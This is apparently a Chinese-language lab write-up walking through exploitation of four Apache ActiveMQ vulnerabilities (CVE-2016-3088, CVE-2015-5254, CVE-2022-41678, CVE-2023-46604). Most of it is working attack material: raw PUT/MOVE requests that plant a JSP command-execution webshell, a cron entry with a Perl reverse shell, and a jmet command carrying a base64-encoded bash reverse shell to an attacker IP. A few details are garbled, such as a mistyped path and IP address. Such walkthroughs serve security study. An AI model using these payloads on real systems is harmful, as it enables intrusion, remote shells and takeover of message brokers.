ActiveMQ

目录

Active是什么?

CVE-2016-3088(任意文件写入)

写入webshell

写入计划任务

CVE-2015-5254(反序列化漏洞)

CVE-2022-41678(后台远程代码执行漏洞)

[CVE-2023-46604(ActiveMQ OpenWire协议反序列化命令执行漏洞)](#CVE-2023-46604(ActiveMQ OpenWire协议反序列化命令执行漏洞))


Active是什么?

ActiveMQ ‌ 是一个开源的‌消息中间件(Message Broker) ‌,基于 ‌Java 消息服务(JMS) ‌ 规范实现,主要用于‌异步消息传递 ‌和‌系统解耦‌。

服务使用端口8161和61616,其中8161是web控制台端口,61616是消息传递的端口。

CVE-2016-3088(任意文件写入)

漏洞成因:ActiveMQ的控制台有三个应用,admin,api和fileserver。admin是管理员页面,需要密码,API是接口,需要密码。fileserver是储存文件的接口,无需登录即可访问。

fileserver是为了弥补消息队列操作不能传输,储存二进制文件的缺陷。

fileserver支持使用put方法写入文件,支持使用move方法移动文件。漏洞原因就是先写入文件,然后移动到任意位置,造成任意文件写入。

版本要求:Apache ActiveMQ 5.0.0-5.13.2

5.12.X-5.13.X默认关闭了fileserver,需手动在conf/jetty.xml中打开

5.14.0以上版本移除fileserver功能。

利用方法:

写入webshell

fileserve不解析jsp文件,需访问,但admin与API接口需登录后才可访问。默认账号密码admin/admin

步骤1:访问http://ip:8161/admin/test/systemProperties.jsp,查看activemq.home对应值为默认路径

步骤2:使用put方法上传web.shell

复制代码
PUT /fileserver/2.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 339

<%
  if("023".equals(request.getParameter("pwd"))){
	 java.io.InputStreamin= Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
     int a = -1;
     byte[] b = new byte[2048];
     out.print("<pre>");
     while((a=in.read(b))!=-1){
       out.println(new String(b));
     }
     out.print("</pre>");
  }
%>

步骤3:移动到API接口下,访问触发连接。

复制代码
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

最后就是访问webshell触发,需登录。

写入计划任务

要求要有root权限,计划任务才可以执行。

步骤1:写入计划任务

在构建数据包时,在bp中把换行\r\n改为\n计划任务才能执行,原因是在Linux主机里换行符是\n

复制代码
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.23.133";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

步骤2:移动计划任务到/erc/crontab/下等待执行。

复制代码
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

步骤3:监听计划任务中的端口等待反弹shell,例如文中21号端口

CVE-2015-5254(反序列化漏洞)

工具ysoserial的安装要点。使用maven工具编译时jdk版本需低于9,原因为ysoserial 依赖的 sun.rmi.serverjava.rmi.activation 在 Java 9+ 已被移除或限制访问。

漏洞成因:ActiveMQ 在 5.13.0 之前的版本中,未对 JMS(Java Message Service)消息中的序列化对象进行严格校验。当消息队列中的消息包含恶意构造的序列化数据时,ActiveMQ 会在反序列化过程中自动执行嵌入的恶意逻辑。

用户在点击消息队列时,ActiveMQ会自动反序列化消息内容,从而执行恶意代码。

ActiveMQ 的 ObjectMessage 类在解析消息时,会调用 java.io.ObjectInputStream 反序列化数据,而恶意 Payload 通过构造特定的对象链(如 Transformer 链)触发命令执行。

版本要求:ActiveMQ < 5.13.0

账号要求:有,需登录。

步骤1:使用工具jmet将恶意代码制作成消息推送给被攻击目标。

复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/test" -Yp ROME your-ip 61616

解析:

  • Java的用法指定使用jar包
  • -Q 指定消息队列名称
  • -I 指定攻击的中间件类型
  • -s 启用序列化方式发送消息
  • -Y 要执行的命令
  • -Yp 指定利用链类型

步骤2:点击消息触发恶意代码

查看命令执行结果

成功执行

步骤3:替换命令,使用反向shell执行

复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy8yMSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.23.133 61616

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy8yMSAwPiYx为以下命令base64编码:

复制代码
bash -i >& /dev/tcp/192.168.23.133/21 0>&1

启动一个shell,将该shell的输入输出绑定到目标主机的端口上。

步骤4:点击触发,使用nc 监听连接。

查看反弹效果

成功反弹。

CVE-2022-41678(后台远程代码执行漏洞)

漏洞成因:利用里面的对象方法实现任意代码执行

版本要求:ActiveMQ < 5.17.3

账号要求:需要,登录后台admin/admin

步骤1:访问/api/jolokia/list这个API可以查看当前服务器里所有的MBeans

利用点1:利用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是log4j2的一个Mbean,使用里面的setConfigText方法操作可以修改log4j2的配置,将任意日志文件写入任意目录中,从而可以照成命令执行。

步骤2:使用poc.py脚本写入webshell

步骤3:写入后访问/admin/shell.jsp,可控参数cmd传递命令。

利用点2:jdk.management.jfr.FlightRecorderMXBean,在OpenJDK11中引入,用于记录虚拟机运行事件。利用这个功能将时间日志写入任意文件。

步骤1:使用poc.py脚本写入webshell,使用--exploit参数指定其中的方法jfr。

步骤2:访问webshell中/admin/shelljfr.jsp,可控参数仍然是cmd

这里可能是OpenJDK版本不对,可是这是docker镜像做,应该没有影响的。

这个文件也在,但是没成功,原因暂时不明。

CVE-2023-46604(ActiveMQ OpenWire协议反序列化命令执行漏洞)

漏洞成因:OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

版本要求:ActiveMQ < 5.18.2

账号要求:无,无需登录

步骤1:启动http反连服务器

6666端口被占了,换其他端口但是一定要看到poc.xml

步骤2:执行poc.py,传入三个参数依次是target(被攻击的地址),port被攻击的端口(默认是61616),含poc.xml的服务器地址http://1921.68.23.133:7777/poc.xml

步骤3:进入容器查看命令执行情况

这里执行的命令是两个值value,touch /tmp/activeMQ-RCE-success

相关推荐
你想考研啊13 天前
Linux下搭建Activemq的Master-Slave(共享文件模式)
linux·运维·activemq
好玩的Matlab(NCEPU)17 天前
消息队列RabbitMQ、Kafka、ActiveMQ 、Redis、 ZeroMQ、Apache Pulsar对比和如何使用
kafka·rabbitmq·activemq
埃泽漫笔22 天前
Kafka、ActiveMQ、RabbitMQ、RocketMQ 对比
kafka·rabbitmq·activemq
小池先生1 个月前
activemq延迟消息变成实时收到了?
linux·数据库·activemq
clownAdam2 个月前
ActiveMQ classic ,artemis ,artemis console ,nms clients,cms client详解
activemq
百思可瑞教育2 个月前
ActiveMQ、RocketMQ、RabbitMQ、Kafka 的全面对比分析
vue.js·分布式·rabbitmq·rocketmq·activemq·北京百思可瑞教育·百思可瑞教育
Zhang.jialei3 个月前
HiveMQ 2024.9 设计与开发文档
hive·物联网·activemq
代码的余温6 个月前
ActiveMQ多消费者负载均衡优化指南
java·后端·负载均衡·activemq
计算机毕设定制辅导-无忧学长6 个月前
ActiveMQ 高级特性:延迟消息与优先级队列实战(一)
activemq